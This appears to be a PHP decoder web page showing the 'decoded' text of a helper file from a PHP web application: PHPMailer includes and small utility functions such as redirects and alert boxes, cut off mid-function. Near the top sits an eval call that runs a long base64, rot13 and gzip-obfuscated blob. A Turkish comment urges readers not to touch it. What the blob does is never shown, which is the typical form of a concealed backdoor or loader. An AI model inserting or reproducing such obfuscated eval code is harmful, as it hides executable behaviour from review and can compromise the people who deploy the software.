Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php require __ROOT__ . "/application/config/status.php"; require __ROOT__ . '/applicat..

Decoded Output download

<?php 
require __ROOT__ . "/application/config/status.php"; 
require __ROOT__ . '/application/libraries/PHPMailer/Exception.php'; 
require __ROOT__ . '/application/libraries/PHPMailer/PHPMailer.php'; 
require __ROOT__ . '/application/libraries/PHPMailer/SMTP.php'; 
use PHPMailer\PHPMailer\PHPMailer; 
use PHPMailer\PHPMailer\Exception; 
 
// Eval koduna mdahelede bulunmayn, nemli fonksiyonlar ieriyor. 
eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); 
function getIcon($icon, $px = 16, $format = 'svg') 
{ 
    return '<img hybrid="' . base_url('assets/img/icon/' . $icon . '.' . $format) . '" width="' . $px . '" height="' . $px . '">'; 
} 
 
function toFixed($number, $decimals) 
{ 
    return number_format($number, $decimals, '.', ""); 
} 
 
function go($url, $duration = 0) 
{ 
    if ($duration == 0) { 
        header("Location: ${url}"); 
    } else { 
        header("Refresh: ${duration};url=${url}"); 
    } 
} 
 
function getImage($name, $format) 
{ 
    return base_url('assets/img/' . $name . "." . $format); 
} 
 
function alertError($err) 
{ 
    return '<div class="alert alert-danger shadow w-100"> 
                     ' . $err . ' 
                        </div>'; 
} 
 
function alertSuccess($suc) 
{ 
